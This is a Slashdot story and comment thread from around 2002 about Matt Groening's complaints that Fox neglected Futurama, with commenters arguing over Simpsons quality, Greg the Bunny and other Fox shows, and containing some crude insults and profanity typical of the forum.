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Matt Groening on Futurama, Simpsons and Fox

dipfan writes "Simpsons and Futurama creator Matt Groening, in an interview with the FT, says that the Fox network didn't understand or support Futurama. Groening says: "They haven't really supported it. I think it's a worthy companion to The Simpsons and we're really proud of it. But Fox gave it a bad slot and zero promotion for the last three years." He also accuses the channel of meddling with the show, making complaints that the characters were "too mean". He's hoping to change Fox's mind, and endorses the online petition to try and save the show. The good news is that he's got other ideas for new shows if Futurama really does get canned, and talks about new Simpsons plots involving Enron, and Krusty The Clown running for Congress." His feelings shouldn't be a surprise to anyone who saw the first act of "Homer the Moe", but what I thought was interesting was his comments on Fox and how he's not interested in moving networks over the futurama thing.

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  1. I heard The Simpsons is being canceled by Anonymous Coward · · Score: 0

    It is in Jeffy124's journal

    And as Homer would put it: DOH!

    1. Re:I heard The Simpsons is being canceled by Anonymous Coward · · Score: 1, Informative

      The link from Jeffy124's journal is here. Please mod up.

    2. Re:I heard The Simpsons is being canceled by Anonymous Coward · · Score: 0

      Kind of like this shithole website.

    3. Re:I heard The Simpsons is being canceled by ArthurKing · · Score: 1

      Please. For the past 13 years, the Simpsons have provided vulgar and offensive entertainment to people all across the nation. Oafish Homer, foolish Bart, and know-it-allish Lisa (it's a word if I say it is) aren't going anywhere anytime soon. For shame, you Anonymous Coward. In the future, engage your brain before putting your mouth in gear.

  2. What a headline by Anonymous Coward · · Score: 0

    Oh man. My first glance at this headline made it look like "Matt is groaning about Futura, Simpsons, and Fox."

    1. Re:What a headline by Anonymous Coward · · Score: 0

      Yes. At first glance, I thought that your username was "Anonymous Coward." On second glance, I see that it really means "a totally pathetic piece of trash produced from the faeces of sexually-deprived fish and bat lice." Yes the second glance is indeed useful.

  3. 113435 signitures for the petition by Anonymous Coward · · Score: 0

    Lets see how many after this article has been on Slashdot for awhile.

    1. Re:113435 signitures for the petition by Snover · · Score: 1

      Who cares? After all, the results are OBVIOUSLY skewed -- there aren't that many FOX viewers, even in the international market! And don't try to tell me that Matt Groening is a real person, either.

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  4. Hopefully... by NickRob · · Score: 1, Insightful

    Hopefully the new ones won't be on par with the quality of the episodes these days. Once they lost Connan, they started steadily going downhill.

    1. Re:Hopefully... by GuyMannDude · · Score: 2, Interesting

      Once they lost Connan, they started steadily going downhill.

      I agree with you except I would replace "steadily" with "rapidly". It was painful enough to watch one of my favorite shows go from brilliant to awful but I finally decided to switch the TV off on the episode where I&S Corp decides to change The Itchy & Scratchy Show (was that the Poochy the Dog episode?). Near the end, Lisa tells the animators that there isn't anything "wrong" with Itchy & Scratchy, the reason their ratings are down is because people have gotten used to such great programming or some such nonesense. She goes on to say that the fans should be thankful that Itchy & Scratchy has been great for so many years. That speech was obviously directed towards fans of the Simpsons who were posting negative comments about the shows on the Internet. Rather than listening to the feedback from their most loyal fans, the people running The Simpsons decided to have Lisa berate the viewers! I thought that was too offensive and decided that there was no longer any hope that The Simpsons would realize they were making a mistake with their new direction.

      So I gave up hope that the Simpsons would return to greatness a long time ago...

      GMD

    2. Re:Hopefully... by GigsVT · · Score: 2, Funny

      Are you sure your nick shouldn't be "Comic Book Guy"?

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    3. Re:Hopefully... by Anonymous Coward · · Score: 0

      The simpsons have been, and will always be, the greatest show that mankind will have the opprotunity to view. So, FUCK OFF you fucking loozers

    4. Re:Hopefully... by l810c · · Score: 2, Interesting
      Once they lost Connan, they started steadily going downhill

      I seen this statement several times here and other places. I still like the Simpsons and didn't have any idea where the GoodEpisodes/BadEpisodes line was drawn. So I did a little investigating and it seems Conan wrote 4 episodes.

      Conan Episodes

      So these 4 are the only good ones?

    5. Re:Hopefully... by NickRob · · Score: 1

      The one writer isn't responsible for all of the content inside the show. Ever hear of a writer's pool?

    6. Re:Hopefully... by zootread · · Score: 1

      I don't know what your talking about. That was a great ephisode. The inclusion of Roy in there was brilliant. If they were actually poking fun at critical fans, good, they're supposed to poke fun at everyone. That whole season (8) was great in fact.

      I do think, however, the Simpsons lost their great witty humor a few seasons later (in season 10 or 11). The quality just really started to suffer. There were some ephisodes where I just said wtf? at the end of the ephisode and I quit recording ephisodes. But they started putting out funny ephisodes after a rash of awful ones, just with lesser frequency. The last few new ephisodes I caught were pretty hilarious. If you quit watching the new ephisodes you really should check them out, they still throw out some nice surprises.

      Ah well, you can only take a series so far.

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    7. Re:Hopefully... by Anonymous Coward · · Score: 0

      I think (and feel) the poster meant when O'Brian was producer. And writing credits are quite random in a show like the Simpsons, which has a huge pool of writers.

    8. Re:Hopefully... by Anonymous Coward · · Score: 0

      It's spelled 'episode.' But, otherwise, you're spot-on.

    9. Re:Hopefully... by bleckywelcky · · Score: 2


      I'm not sure about the whole deal with Conan completely writing/mostly writing/having minor involvement with certain Simpsons episodes... However, I have noticed lately that episodes in this latest season, the 13th season, and specifically the later half of this season, have not been up to par with previous episodes. At the same time I have also noticed a major change in the credits. The list of executives, producers, etc have been changed around. Whereas Matt Groening used to be the executive producer previously, Al Jean now holds the position (or at least that is what the credits reflect). And I have found these episodes to be only mildly humorous - not funny, hilarious, or anything else. I'm hardly laughing at any of the jokes, am able to predict quite a few of the pokes and jabs that are meant to be jokes, and am even finding myself mildly annoyed at the stupidity and predictability of some of the spoofs and setups. This is not good.

      On the other hand, I watch re-runs of the Simpsons regularly (UPN runs re-runs every weekday at 5:00 pm and 5:30 pm eastern currently, and have run 2 re-runs per day at different times in previous years). And these re-runs hardly ever cease to amuse me. I usually end up cracking up and laughing out loud at them, and finding most of the episodes absolutely hilarious. This is despite the fact that I've seen most (prolly all) of them several times over (at least 5 to 10 times each) to the point of being able to memorize portions of them unintentionally.

      All of these episodes have classic qualities that seem to be lacking in the most recent episodes. Hopefully the Simpsons will be able to recognize this and change accordingly, or if not - at least go out with a bang and not drag it out like the X-Files or other shows have done. Since Groening seems to want to move on with Futurama, perhaps he can cary some of the classic qualities of the Simpsons there.

    10. Re:Hopefully... by ByteHog · · Score: 2

      I wonder how Conan feels about all this talk about the show going downhill after he left...

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    11. Re:Hopefully... by Anonymous Coward · · Score: 0

      > GMD

      You misspelled "CBSG."

      "Worst episode ever"

    12. Re:Hopefully... by Anonymous Coward · · Score: 0

      Grow up, you're starting to sound like Bart when they were taking his crib away for Lisa.

  5. Problems with Fox... by ZiZ · · Score: 4, Insightful

    Fox has a long history of utterly failing to pay attention to the worthwhileness of their shows - giving good shows the boot while bad shows - say, for instance, Greg the Bunny - get prime airtime. The Simpsons just happened to be the right combination of edgy and comfortably marketable to get and keep a prime spot for so long - and any show that doesn't live up to those standards seems to be summarilly dropped, despite the fact that the bar is unreasonably high...

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    1. Re:Problems with Fox... by stoolpigeon · · Score: 2, Funny

      Greg the bunny is funny.

      .

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    2. Re:Problems with Fox... by Anonymous Coward · · Score: 0

      All shows (and people) need a place out of the sun to grow and get legs.

    3. Re:Problems with Fox... by ViXX0r · · Score: 0

      Seriously! WTF? Greg the Bunny is fricken hilarious! This is one of the shows that is worth while, and they're giving it a chance to live for once.

      Ah-iggit, blah.

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    4. Re:Problems with Fox... by RackinFrackin · · Score: 5, Insightful

      Fox has a long history of utterly failing to pay attention to the worthwhileness of their shows ...

      That's the truth. Married with Children is a prime example. It was one of the shows that helped launch the network, and they showed no respect for that. They repeatedly changed the timeslot, and eventually moved it to Saturday night. The worst, though, was that they didn't produce a final episode. They cancelled it after all the season 11 episodes were taped, so there was never a finale That's a pretty rotten send-off for a show that ran for over a decade.

    5. Re:Problems with Fox... by Anonymous Coward · · Score: 1, Funny
      Married with Children is a prime example. ...they showed no respect for that. They repeatedly changed the timeslot

      That's probably because the people who thought it was funny were too stupid to remember what day it was.

    6. Re:Problems with Fox... by soxthemonkee · · Score: 0
      The monkey likes Greg the Bunny! How dare you!

      I'm going to throw my feces at you! ;-)

      Give me a banana!

    7. Re:Problems with Fox... by gnovos · · Score: 4, Interesting

      The worst, though, was that they didn't produce a final episode.

      I thought that the "worst" was the fact that most of the actors on that show had to learned that it was cancelled through thier friends or on the news. The press release went out before they even told the actors on the show!

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    8. Re:Problems with Fox... by holyhonko · · Score: 1

      Big purple furred women puppets with deep voices are funny in my book. Plus puppets are just pretty cool in general, I mean look how succesful the muppets was and still is. I think we have a hit here.

    9. Re:Problems with Fox... by Anonymous Coward · · Score: 0

      Greg the bunny is funny.M

      Not really. And don't even try to tell me it's original. It's the Muppet Show with swears. Hee hee, a puppet said "ass"!

    10. Re:Problems with Fox... by JAVAC+THE+GREAT · · Score: 1

      Actually, it's a very blatant rip-off of Meet the Feebles.

    11. Re:Problems with Fox... by Hoi+Polloi · · Score: 1

      Actually GtB is pretty good. You complain about Fox passing snap judgements then you go and do the same thing.

      Before we pass judgment against Fox also, remember they were the ones to show the Simpsons in the first place when no one else thought a prime time animated series would fly.

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    12. Re:Problems with Fox... by Anonymous Coward · · Score: 0

      Eat my ass, fucktard. MWC was one of the funniest shows on the air, before they went about four seasons too long with it and the characters became even more total cardboard cutouts than they already were.

    13. Re:Problems with Fox... by Anonymous Coward · · Score: 0

      That's probably because the people who thought it was funny were too stupid to remember what day it was.


      Yeah, but unlike in 1997, I have a Tivo now. Now I can be too stupid to remember what day anything is on, and I still get to see it.



      While I'm this subject of "Married With Children", I also want to mention that I tragically miss WB's "Unhappily Ever After," a show that I came to informally think of as "Married With Children 2". Except for the degenerative final season, UEA was very funny, and I mean that sincerely. My God, when Nikki gave those speeches directly to the audience (as in the "Cyber-Tiffany" episode) it was practially a religeous experience -- the realization that somebody in Hollywood is actually awake and conscious! TV doesn't have to be all crap, an UEA and early MWC proved that.



      Even worse: now "Nikki" seems to be cancelled too (or off-season or something) so I haven't seen Nikki Cox's boobs on my boob tube for a long time. :( Although I must admit that "Nikki" really wasn't up to the standards of funniness as MWC or UEA. She isn't even as sexy now as when she was a teenager on UEA, but I guess I won't get into that much here, since even just talking about how delicious a 17-year-old can look, might get me labelled a pedo...


    14. Re:Problems with Fox... by Anonymous Coward · · Score: 0

      I was too busy studying Christina Applegate's T & A to care about scheduling.

    15. Re:Problems with Fox... by johnstewart · · Score: 1

      Greg the Bunny is hands down the best show on television.

      The shows bear multiple viewings even better than the Simpsons in their peak. The jokes and gags are richly layered and truly unexpected.

      Furthermore, there is not a small amount of social satire. The puppets, ahem "fabricated-Americans", are a metaphor (albeit obvious) for minorities in America.

      They deal with race relations in a more adult and realistic manner than just about any show on the air.

      And the characters are awesome. Most people mention Eugene Levy and Seth Green. Yes, they're good comic actors, but they are upstaged almost every scene by the puppets, who you quickly learn to accept as actual beings.

      I just want to know what Tardy Turtle's story is. In the credits, they show him graduating at the top of his class from Harvard, but in the show he's a total idiot.

      "Crayons taste like purple."
      "Chocolate ice cream goes in the freezer"
      "The green ones make me horny."
      "I am singing the quiet song... the Quiet Song... THE QUIET SONG..."

      Genius. It's a very adult, very very smart show.

      Definitely too smart to be appreciated by the masses. And apparently you.

      My bet it will be canceled within a season.

  6. Wow by Anonymous Coward · · Score: 0

    I knew fox was bad... but this?

    1. Re:Wow by NanoGator · · Score: 5, Funny

      "Futerama would be good if it had better characters, better animation, better plots, better jokes, better acting, and better flow."

      That's kind of funny, I was just thinking your post'd be good if it had better spelling, better presentation, a better point, better use of grammar, a better style of writing, and better use of commas.

      Wouldn't have been easier to type "I don't like Futurama?". Even so, you picked a bad topic to post that under.

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    2. Re:Wow by great+throwdini · · Score: 3, Funny

      Wow is right. Someone on /. wreckless enough to spell Futurama as Futerama, yet caring enough to remember to accent the 'e' in Pokémon?

      What kind of God would create a world where such things happen?

    3. Re:Wow by ovit · · Score: 0

      You just dont get it.

      Futurama is hilarious. The recent episode where
      bender was adrift in space and a microscopic
      civilization evolved on his stomach, and came to
      worship bender as god had me laughing for days!

      Especially when they nuked the microscopic
      civilization on his ass!

      Tony

    4. Re:Wow by Snoopy77 · · Score: 1

      Before you have a go at someone else's grammar make sure you can construct a meaningful sentence yourself.

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    5. Re:Wow by NanoGator · · Score: 5, Funny
      n. pl. parodies
      1. A literary or artistic work that imitates the characteristic style of an author or a work for comic effect or
        ridicule. See Synonyms at caricature.

      2. The genre of literature comprising such works.

      Something so bad as to be equivalent to intentional mockery; a travesty: The trial was a parody of justice.

      Music. The practice of reworking an already established composition, especially the incorporation into the Mass of material borrowed from other works, such as motets or
      madrigals.

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    6. Re:Wow by NanoGator · · Score: 0, Offtopic

      "Before you have a go at someone else's grammar make sure you can construct a meaningful sentence yourself."

      Ah, the mods agree with me. You may bite my shiny metal ass when ready. >:)

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    7. Re:Wow by Anonymous Coward · · Score: 0

      Man, that made me laugh out loud.

    8. Re:Wow by JimPooley · · Score: 2

      Wow. Someone who spells 'reckless' incorrectly.

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    9. Re:Wow by great+throwdini · · Score: 1

      D'oh!

    10. Re:Wow by minceman · · Score: 1
      Have you ever watched this program?

      Jesus, futurama has some of the best animation I have ever seen in a regular animation feature, the characters are piss funny. Bender is great, Bender is great! Grrr

  7. worst-editor-ever dept. by Anonymous Coward · · Score: 0

    that's not chrisd, that's michael. get yer facts straight!

  8. The only thing to say is... by NetRanger · · Score: 1

    "DOH!"

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  9. Futurama is disappointing... by Anonymous Coward · · Score: 0

    I've never really been as impressed with Futurama as I have the Simpsons. Futurama just doesn't resonate with me, for some reason. Still, after all these years, I manage to tune into the Simpsons every Sunday night. It's the ONLY TV show I watch (I don't have cable).

    Bob

  10. Wow by MrSloth · · Score: 0, Troll

    Futerama would be good if it had better characters, better animation, better plots, better jokes, better acting, and better flow.

    But then again....... so would Pokémon.

  11. Change it by Anonymous Coward · · Score: 0

    Change it all to something cool like a King's Basketball game.

  12. Too mean?! by Tackhead · · Score: 4, Interesting
    > He also accuses the channel of meddling with [Futurama], making complaints that the characters were "too mean"

    Fuck, that's the reason I gave up on the Simpsons years ago, and love Futurama!

    Hey, FOX, why don't you bite my shiny metal ass? I'm an adult. Now that Bugs Bunny's been censored to hell, I'm left craving cartoons I can enjoy as an adult. If there's a demographic that leaves room in the lineup for Greg The Bunny (who's funny, but is hardly broadly-based social satire), there's gotta be room for Bender and the baby in "Family Guy".

    1. Re:Too mean?! by 56ker · · Score: 4, Funny

      Fox probably got a lot of complaints about Futurama's more adult content. Well to those people I say - 1) it's only a cartoon
      2) well what do you expect when one of the characters is a beer-swilling kleptomaniac robot and 3) The obligatory bite my shiny metal ass. :)

    2. Re:Too mean?! by hendridm · · Score: 1

      Agreed, Simpsons started getting boring with their ever increasing bizarre and random plots with no direction, combined with the fast that they always have been focusing on Homer's stupidity lately (which is funny, I admit, but I need variety).

      I didn't like Futurama at first, but now I'l grown to like it just in time for it to be cancelled.

      Maybe Fox could pick up South Park for the Futurama slot. Oh wait, that would be too "mean".

    3. Re:Too mean?! by hyacinthus · · Score: 1, Troll

      Tackhead, if you think that humor on the level of "bite my shiny metal ass" is funny, then the word for you isn't "adult", but a somewhat longer but similar word, "adolescent".

      hyacinthus.

    4. Re:Too mean?! by ConceptJunkie · · Score: 3, Interesting

      That's it, you chumps and chumpettes can bite my shiny metal daffodil. I'm on the first pimpmobile outta here.

      C'mon. Futurama unlike a lot of Fox's comedy shows is lot more than just ass-jokes. I have found it in the last few seasons to be pretty consistently (but not always) better than the Simpsons. The format of the show allows for a lot more flexibility to spoof current culture and take advantage of the animated medium.

      You can ask my wife what I think of Fox after they consistently pre-empt Futurama for football for 6 months straight. Fox treated that show like crap. I just hope we don't have to wait 12 years or more for a region 1 DVD release of the episodes.

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    5. Re:Too mean?! by Anonymous Coward · · Score: 0

      You can ask my wife what I think of Fox after they consistently pre-empt Futurama for football for 6 months straight.

      hmmmm....does she think you are a no-life dork piece of crap? Who would think to preempt a show for, of all things, a live sporting event!!!! The insanity!!

    6. Re:Too mean?! by SoupIsGoodFood_42 · · Score: 1
      Well, of course....Cartoons that are mean like futurama subconsiously affect the way our young kids think. It is unacceptable to have these kinda shows on TV for our young kids to watch, they're mean, violent, and show an show the horrible side of human life.

      ...They should be watching good, kind, families movies like Rambo, Rocky, Die Hard, Speed, The Terminator etc. And good, TV shows like NYPD Blue, ER, Sapranoes, real life TV shows, and talkshows like Jerry Springer.

    7. Re:Too mean?! by Fulcrum+of+Evil · · Score: 2

      You know, some of us hate football. It's hard to get excited over 22 guys fighting over an ovoid ball for 3 hours.

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    8. Re:Too mean?! by Geeky · · Score: 1

      Won't somebody please think of the children!

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    9. Re:Too mean?! by big_cat79 · · Score: 1

      Simpsons has had it's share of adult moments in the last few seasons. I'll give two examples.

      The Comic Book Guy is eating those yellow marshmellow chicks, and he goes "...98,99, 100. Ohhhh. If only real chicks went down this easy."

      More recently, when they spoofed Homer's Odyssey, when the Trojan's receive the wooden horse, Flanders says "From now on, whenever people think of wood, they'll think of Trojans!"

      Now, I watch the Simpsons religously. By far my favorite show. And I don't remember the writers using this more adult, sexual humor in early seasons. Plus, earlier episodes were more centered on the children. Now that the focus has shifted to Homer, more and more things for adults. Children won't get half the jokes anymore.

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    10. Re:Too mean?! by CyberPack · · Score: 1

      Why I'll agree that the jokes are amusing to those who have some sexual awareness, they are hardly examples of the biting satire or irony that made The Simpsons great. They are clever and "adult-directed", but that's all. The original episodes had a pointedness that could make you uncomfortable, even when (or especially when) you couldn't deny that they were true to life. Still, the Simpsons had to change even when it left the safety of the Tracey Ullman show.

    11. Re:Too mean?! by dmelomed · · Score: 1

      You also have to take in consideration the fact Murdock (sp?) is an uber-conservative right winger. Some of the comments he made on the issue are quite depressing too.

    12. Re:Too mean?! by Anonymous Coward · · Score: 0

      That's because you're a nerd. Go back to watching pr0n.

    13. Re:Too mean?! by Galvatron · · Score: 1
      Actually, what I thought was funniest about the marshmellow chicks was that it was obviously a gag coordinated between the Simpsons and Malcolm in the Middle. The Malcolm in the Middle episode that week had subplot where the older brother bets his classmates at military school that he can eat 100 marshmellow chicks.


      That kind of breaking of the 4th wall can be pretty funny when you're not expecting it.

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    14. Re:Too mean?! by Anonymous Coward · · Score: 0

      `Fulcrum of Evil'?!?

      What the fuck is that, some kind of desperate gay-but-still-in-the-closet-goth-boy columbine-wannabe cry for help?

      Stop putting on the lip-gloss and black fingernail polish, let your testicles finally drop, and be a man!

    15. Re:Too mean?! by Anonymous Coward · · Score: 0

      If watching football makes one a man, then hand me my purse. No activity is more dull and boring on the face of the Earth than American Football.

  13. network genius @ Fox by iamjim · · Score: 2, Interesting

    Fox has had some gold in the past that they gambled on and won, and gambled on and lost. Greg the Bunny is boring, Family Guy is great. Although I did not like them, 90210 and Melrose Place were gold for the network. X-files will be generated only syndication funds, nothing substantial.

    There has got to be something that I missed, I do not understand how they could cancel shows like Futurama and Family Guy.

    What are your thoughts?

    1. Re:network genius @ Fox by Tackhead · · Score: 5, Insightful
      > Greg the Bunny is boring, Family Guy is great.

      I've seen this comment a few times.

      I think what it comes down to is that GtB is a great sendup of what life is like in Hollyweird. It's a great, biting satire about the kinds of things that TV executives can relate to.

      Greg the Bunny is TV executives what Dilbert is to the IT worker.

      Family Guy (the episode where the Grim Reaper took a holiday was sheer brilliance) and most Futurama episodes are just as biting as Greg the Bunny -- but most of the jokes probably have no real meaning for a TV executive; they're aimed pretty squarely at what life's like for Joe and Jane Sixpack. (Incompetent managers, bad investments, the Internet, Star Trek geeks :)

      Trouble is, most Joe and Jane Sixpacks don't like to see themselves made fun of. It reminds them of how lame they are. Hence the fact that most Simpsons episodes have their funny moments, but they've lost (if indeed, they ever had it) that acerbic, biting cynicism that the original "Life in Hell" comics had.

      That leaves the Slashdot crowd - most of whom loves satire as an art form - for stuff like The Tick, Family Guy, and Futurama. I mean, c'mon, how could we not laugh at the "Napster" episode of Futurama? Or the AOL episode ("My god... it's full of spam!"). We love satire, even when it's directed at us.

      (And yes, I also lament the loss of the Dilbert series, but that was a UPN thing, not a FOX thing, so it's not really on topic here :)

      Bottom line: GtB is being given a chance because TV executives probably think it's riotously funny. I think the gags are "kinda funny", but I can't even tell you when the show airs.

      In contrast, I tuned in to Dilbert (and tune in to Futurama) religiously - the jokes that TV executives think of as "kinda funny" are the ones I find riotous.

      I don't think I've regularly watched the Simpsons in years, though. Yeah, Life in Hell had to be toned down for TV, but that's probably why I never got hooked on the Simpsons.

    2. Re:network genius @ Fox by Anonymous Coward · · Score: 0

      whoa whoa,,, slow down there junior... they canceled family guy?!?!?!?!? NOOOOOO!

    3. Re:network genius @ Fox by stoolpigeon · · Score: 3, Insightful

      You're thinking too hard.

      As I've posted above - Greg the Bunny is funny.

      It has nothing to do w/satire or demographics. It's really simple. It's puppets doing crass things. That is way too funny. When the fat bear puppet literally "ripped a new one" I laughed so hard I thought I might hurt myself.

      Have you seen the muppet posts floating around here lately? You've got to be quick to catch them before they are modded down into oblivion. I've read the sex one and the eating muppets one. Anyways-- they are hilarious because it's about puppets and people doing crass things.

      That's all there is to it.

      .

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    4. Re:network genius @ Fox by glwtta · · Score: 2
      how could we not laugh at the "Napster" episode of Futurama?

      I actually didn't like that episode all that much (and I love Futurama), I don't think it's a good example of the satire you've mentioned (which I do see on the show a lot, otherwise): they just indiscriminantly took several "issues" that have come to be recognized in "popular culture" as the very essense of the Internet - IP infringement, celebrity fanaticizm, pale geeks spending their lives in chat rooms, etc - and mixed them into some sort of current issue soup that didn't really say anything except: "hey look, this is all net realted stuff, and it's hip!"

      It was a funny ep though. :)

      Overall I think all that those who like Futurama like it more for the edginess (to be trite) and the geek factor is a secondary, but still iportant factor. And that's probably why it's getting canned - what's not bland, cannot appeal to the "average" viewer.

      btw, I wouldn't think network execs would make decisions based on what they like - they must realize that TV execs are not a very significant demographic, and after all they probably know how to make money in that business.

      Excellent call on The Tick though, best show ever made! :) "La donna e mobile \ qual piuma al vento, \ muta d'accento \ e di pensier!" I loved that show!

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    5. Re:network genius @ Fox by Anonymous Coward · · Score: 0

      I haven't heard about Family Guy being cancelled or not anywhere but this thread, but I'm hoping they have.

    6. Re:network genius @ Fox by bughunter · · Score: 3, Interesting
      Greg the Bunny is TV executives what Dilbert is to the IT worker [sic]

      Yeah, like that flies. Remember Action? Even funnier and more biting than GtB, and how long did it last, eh?

      I lost my respect for FOX when they cancelled that show without even trying to find the right time slot for it. C'mon... Thursday night? It took ABC and CBS nearly a decade to break NBC's domination of that schedule.

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    7. Re:network genius @ Fox by Anonymous Coward · · Score: 0
      the episode where the Grim Reaper took a holiday was sheer brilliance

      Always amusing how the young folk think everything's a new idea just because they haven't heard of it.

      Death Takes a Holiday, 1934.

    8. Re:network genius @ Fox by Anonymous Coward · · Score: 0

      Greg the Bunny is TV executives what Dilbert is to the IT worker.
      Dilbert is popular because there are a lot of IT workers out there who can relate. I'll have to take your word for it that GtB is just as funny to the vast number of TV execs out there.

      It's puppets doing crass things. That is way too funny.
      If you say so. Why is crassness so much funnier when it comes from a puppet? I've seen one episode, and the novelty had worn off before it was over. Not that it's all that novel to begin with. TV Funhouse, DC Follies, and Unhappily Ever After come immediately to mind.

    9. Re:network genius @ Fox by GungaDan · · Score: 2
      Agreed 100% on G the B. No single sitcom line ever summed up memories of childhood friendships as well as, "We used to hang out... we used to melt stuff!" Now If only I can find out when the damned thing airs.

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  14. Krusty for Kongress! by Codex+The+Sloth · · Score: 1, Funny

    Hey hey! I heartily endorse this candidate and/or proposal.

    To paraphrase Krusty: Do we really want to live in a world without the Simpsons? I think the living would envy the dead!

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    1. Re:Krusty for Kongress! by istartedi · · Score: 3, Funny

      Help support the Krusty for Kongress Kampaign!

      Send checks to:

      KKK
      17 Charles St.
      Montomery, AL 30220

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    2. Re:Krusty for Kongress! by ViXX0r · · Score: 0

      > Hey hey! I heartily endorse this candidate and/or proposal.

      I was pretty sure i=he said "hardly", not "heartily".

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    3. Re:Krusty for Kongress! by Jeremy+Erwin · · Score: 1

      Zip Code 30222 is Grantville, GA, not Montgomery, AL. Montgomery AL has a Charles St, but 17 is "out of range", at least according to Yahoo Maps.

      Besides, Krusty lives in Springfield. (He's also Jewish, though whether he would be oblivious enough to be associated with Krusty For Kongress Kampaign is beyond me.)

    4. Re:Krusty for Kongress! by Exatron · · Score: 1

      Krusty did host the Krusty Komedy Klassic, but noticed the problem partway through his opening monologue.

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    5. Re:Krusty for Kongress! by istartedi · · Score: 2

      Cool. I pulled that ZIP code out of my posterior, based on nothing more than 2 facts: 1. ZIP codes in the Northeast are lowest, ZIP codes in the Southwest are highest. and 2. My ZIP code is in Virginia and it's 22***. I'm pleased that I actually hit the deep South, and a bordering state no less. If I'd actually hit the right state, that would have been uber cool, and yeah, I coulda looked it up but it was a joke, not my SAT test.

      As for your other point, Krusty was oblivious enough to do that at the Apollo theatre (which is where I got the idea) so he might be oblivious enough not to check the work of his kampaign manager either. I guess I could have put the office in Springfield Missouri though. :)

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    6. Re:Krusty for Kongress! by Dephex+Twin · · Score: 2

      Announcer: "It's the Krusty Komedy Klassic!"
      Krusty: "Hey, hey! It's great to be back at the Apollo Theater, and... [notices the letters behind him] K-K-K? That's not good..."

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    7. Re:Krusty for Kongress! by SoupIsGoodFood_42 · · Score: 1

      I don't usaly make comments on sigs. But that one's a classic.

    8. Re:Krusty for Kongress! by Anonymous Coward · · Score: 0

      Going to congress first is too big a political step. He needs more government experience.

      I suggest he run for Governer of Minnesota first :)

  15. plagarism by Anonymous Coward · · Score: 0

    So does /. have a script to pull articles straight off of cnn.com or what?

  16. Do not adjust your browser ... we control the ... by great+throwdini · · Score: 1

    The FT.com article is wonderfully awkward to read with the Mozilla RC. Ah, well...

    scroll scroll scroll

  17. I love Futurama but, by Openadvocate · · Score: 1

    I love Futurama but I still think that a good Simpsons ep can beat a good Futurama EP.
    I must say that the recent "Weekend at Burnsie's" where Homer where high most of the time or "Blame it on Lisa(rio ep)", shows that The Simpsons still can cut it.
    But of course nothing beats time before the got a heavy dose of the PC junk, that sure did ruinda season or two. And I'd like to see Conan O'Brien back on the team, but I guess that is very unlikely.
    Still Futurama are a fresh breath of air and I must say that I enjoyed the latest ep of Futurama on Star Trek. Had a lot of what we like, references to things outside the show that is only funny for thow "who knows".
    I think that one of the great things about The Simsons have always been that there was a lot of "inside" jokes/references that added a lot of value for hardcore fans and still providing entertainent for those not "in the loop". It has always shown itself when looking at many people watching the show together, some would crack up while other just didn't get it and there was still plenty of laughs for all to share.

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    1. Re:I love Futurama but, by NanoGator · · Score: 2

      The Simpsons has wider appeal than Futurama. Futurama is definitely tuned more towards the scifi/geek/even Slashdot audience. That might be part of why Fox is messing with it.

      The humor in Futurama definitely has better bite than the Simpsons. If you don't believe me, watch an episode that has a lot of Bender in it. Some of Bender's robotic anatomy is well.. uh.. more functional than ours. ;)

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    2. Re:I love Futurama but, by Tackhead · · Score: 3, Funny
      > Had a lot of what we like, references to things outside the show that is only funny for thow "who knows".

      "Church of Star Trek: The Sci-Fi Religion that doesn't take all your money!"

      Thanks for the reminder of why I keep watching Futurama. It's a cartoon for adults who actually keep track of what's going on in the world beyond what's reported on the lamestream news.

      (I probably shouldn't have said that - it's such a small demographic as to assure Futurama gets canned :)

      I comfort myself by thinking that for every "in-joke" I spot on Futurama, there are probably a dozen that I miss.

    3. Re:I love Futurama but, by Anonymous Coward · · Score: 0

      Learn to speak english

  18. Plenty in Ouvre; Indifferent about plug pulling by StefanJ · · Score: 4, Insightful
    While I don't agree that The Simpsons has "Jumped the Shark,*" I must confess that there's a downward trend in overall quality. The show has always had its ups and downs, but the ups are not as high as they used to be and the downs are more frequent.

    I wouldn't mind The Simpsons ending its run at this point. Better that than risk something awful happening, like one of the voice actors quitting or getting canned or Fox insisting on some egregious change.

    Anyway, there are so many episodes in syndication that I can watch reruns for weeks without getting bored.

    What WOULD be tragic: Groening not having a shot at another show. Surprise us, Matt!

    Stefan

    * #1 Candidate for overused annoying chic media term.

    1. Re:Plenty in Ouvre; Indifferent about plug pulling by swingkid · · Score: 3, Insightful

      Better that than risk something awful happening

      Have you seen the Simpsons at all this season? The whole series has been a train wreck. It's like they're deliberately trying to kill off interest in the show by making the worst possible episodes.

    2. Re:Plenty in Ouvre; Indifferent about plug pulling by tps12 · · Score: 2, Funny
      "Jumped the Shark,*"

      * #1 Candidate for overused annoying chic media term.

      Did I miss something? I feel like I'm in Back to the Future II.

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    3. Re:Plenty in Ouvre; Indifferent about plug pulling by blamanj · · Score: 2

      While I agree it's annoying and kind of dumb, I don't think it's a media term, per se. The web site Jump the Shark has been around for about 5 years, and I really think it's a fan term. It may be that the media types have just caught on to it recently though, and the phrase is now in vogue.

    4. Re:Plenty in Ouvre; Indifferent about plug pulling by jonathanjo · · Score: 2

      What WOULD be tragic: Groening not having a shot at another show. Surprise us, Matt!

      How about a TV series version of Life In Hell? That would tota11y r0ck!

    5. Re:Plenty in Ouvre; Indifferent about plug pulling by E-prospero · · Score: 5, Informative

      "Jumped the shark" is a reference to the last episodes of Happy Days, when the studio was so desperate for ratings that they had episodes with topics like "Fonzie jumps a shark on his motorcycle."

      It's now used to describe the episode in a series where long time fans give up watching a long running series because it has just become too much of a joke, too much of a cliche, or so far from the original premise that it doesn't warrant watching anymore.

      Shows can also "Jump back" if they redeem themselves in a later episode.

      Common examples (I don't neccesarily agree with them) are the Mulder and Scully Kiss episode of X-Files, and the Buffy Musical episode.

      My personal Jump the Shark fave is the last episode, series 1 Dark Angel, where [[SPOILER WARNING]] Max's boyfriend/CO tops himself to save Max. I refuse to watch Dark Angel any more after that little travesty of scriptwriting...

      Russ %-)

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    6. Re:Plenty in Ouvre; Indifferent about plug pulling by tps12 · · Score: 2
      "Jumped the shark" is a reference to the last episodes of Happy Days, when the studio was so desperate for ratings that they had episodes with topics like "Fonzie jumps a shark on his motorcycle."

      Thx 4 th hedz up. Is that a real example, or hypothetical?

      I believe such a thing happened to MASH. And SNL, like 17 times.

      the Buffy Musical episode.

      While I do not watch TV on a regular basis, my mother is an avid Buffy fan. She loved that episode (I have not seen it, but remember her telling me about it multiple times), though she is admittedly not as elitist as the average slashbot.

